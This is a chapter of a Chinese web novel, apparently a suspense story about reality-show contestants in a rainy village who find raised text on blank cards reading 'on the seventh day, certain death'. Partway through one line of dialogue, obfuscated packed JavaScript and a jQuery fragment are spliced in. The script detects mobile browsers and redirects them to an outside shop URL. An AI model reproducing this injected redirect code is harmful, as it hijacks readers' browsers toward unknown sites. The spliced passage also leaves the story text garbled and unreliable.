一整夜都没睡好。
林知序睁着眼睛躺了很久，听着窗外的雨声。不是那种哗啦啦的大雨，是细细密密的绵绵小雨，打在窗户上，沙沙沙沙，像有人一直在耳边说话。说了什么听不清，就是不停。
天快亮的时候她才迷迷糊糊眯了一会儿，又被童思雨的闹钟吵醒。
“几点了？”林知序声音哑得厉害。
“六点半。”童思雨趴在枕头上，眼睛睁不开，“好累……昨晚听了一夜小雨。”
两个人慢慢坐起来，对看了一眼。童思雨脸上挂着两个明显的黑眼圈，像被人拿毛笔点了一下。林知序估计自己也差不多。
她们悄悄出了房间。走廊里没人，安静得能听见自己的脚步声。楼下客厅也空荡荡的，沙发上的靠垫还是昨天摆的样子，没人动过。
宋野的房间门关着，里面还有鼾声。
“他估计也没睡好，”童思雨打了个哈欠，“清晨补觉呢。”
窗外还是绵绵的细雨，灰蒙蒙的，分不清是早上还是傍晚。
客厅里一个人也没有。两个人默默躲进一楼的厕所，把门关上。这是整个别墅里唯一没有摄像头的角落，她们前几天就发现了。
童思雨靠着洗手台，压低声音：“你搞懂那个数字七没有？”
林知序摇头：“没懂，很奇怪。”
“哪里奇怪？”
“如果是第七天，那哪天算第一天？从什么时候开始算？从我们收到第一张卡片？还是从我们进村？”
童思雨沉默了一会儿，转头看向窗外。厕所的窗户很小，只能看见一小块天空，灰的。
“这雨一时半会停不了啊。”她说。
“正处雨季呢。”林知序说。
两个人又沉默了。蹲在厕所里商量事情，怎么想都有点荒唐，但谁也没提出要出去。
“今天要去阿姨家吗？”童思雨问。
林知序想了想：“去吧，总得说一声。”
童思雨点点头，推开门。
两个人撑着伞出了门。雨不大，但风不小，伞被吹得歪歪斜斜。路上一个人都没有，平时这个时候早该有人下地了，但雨天谁都愿意窝在家里。
阿姨家的门虚掩着，里面传出电视的声音。童思雨敲了敲门，阿姨过来开门，看见她们明显愣了一下。
“小童，今天也来了啊。”
童思雨点点头，探头往里看了一眼。落春雨坐在沙发上，面前没摊课本，手里拿着遥控器，正看电视。叔叔和大哥也在，一家人整整齐齐坐着，难得。
“今天还是稍微休息一下吧。”阿姨说，语气温和但不容商量。
童思雨张了张嘴，想说点什么，又咽回去了。
“……也是。”
她们在阿姨家坐了一下午。雨一会儿大一会儿小，大的时候砸在屋顶上砰砰响，小的时候又变成那种烦人的沙沙声。有一搭没一搭地聊天，聊村里的八卦，聊落春雨的学习，聊地里的庄稼。阿姨问她们节目还要录多久，童思雨说不准，可能快了吧。
林知序一直没怎么说话，坐在窗边看着外面的雨。她在想那张卡片。
又是六点，俩人回到别墅。
众人都在客厅。
童思雨扫了一圈，说:“今天都休息啊。”
宋野搭话:“是啊，你俩挺勤奋呢。”
七点半的时候，工作人员端着那个小盒子准时来访。
每人一张。
今天心动卡片上，什么都没有。
她皱起眉头。
不对，这不可能只是普通的心动卡。她伸出拇指，在卡片表面轻轻摩挲。粉红卡纸应该是光滑的，但这张的边缘摸起来有点不一样，粗糙，有凸起，像有什么东西压在上面。
她抬头看童思雨。童思雨也在摸卡片边缘，表情变了。
两个人对视一眼。
“啊呀，”童思雨突然提高
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432202|200932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了声音，语气轻快，“难得的小卡片，我们用相机记录一下吧？”
林知序会意：“好呀好呀。”
童思雨使劲朝宋野使眼色。
“宋野！”童思雨压低声音喊他，“你也这样觉得吧。”
宋野走过来，看见她们的表情，立马会意。
“顾哥，林哥，一起拍一个呗。”
两分钟后，工作人员收起小卡走了。
“怎么了？”顾辰问。
童思雨把拍的照片翻出来，卡片被举起来，斜对着灯光。卡片边缘的凸起在灯光下投出细小的影子，像是文字的一部分。
“大家把照片翻出来。”她说。
几个人各自举着手机，学着童思雨的样子仔细看着照片。
苏婉最先发现：“我的这张也有凸起。”
“我也有。”宋野说。
“一样。”林挽说。
顾辰没说话，把手机翻过来放在桌上。
“大家都把手机摆桌子上。”童思雨说。
童思雨把六张照片投到手机屏幕上，并排排列。
两排，六个。一排三个。
屏幕上的卡片边缘凸起连在一起，从左到右，从上到下。
是一排字。
很小，歪歪扭扭的，像是有人用钝器一点一点压出来的。
第七天，必死。
房间里安静了很久。
宋野先开口，声音有点干：“这是……什么意思？”
没有人回答。
苏婉把手机放下，手指在发抖。她攥了攥拳头，努力让自己镇定下来，但那层温柔的外壳已经裂了，露出底下的恐惧。
她问:“谁必死？我们？还是谁？”
还是没人回答。
林知序盯着屏幕上那六个字。第七天，必死。不是“可能死”，不是“会出事”，是“必死”。这个字眼太重了，重得像压在心口的一块石头。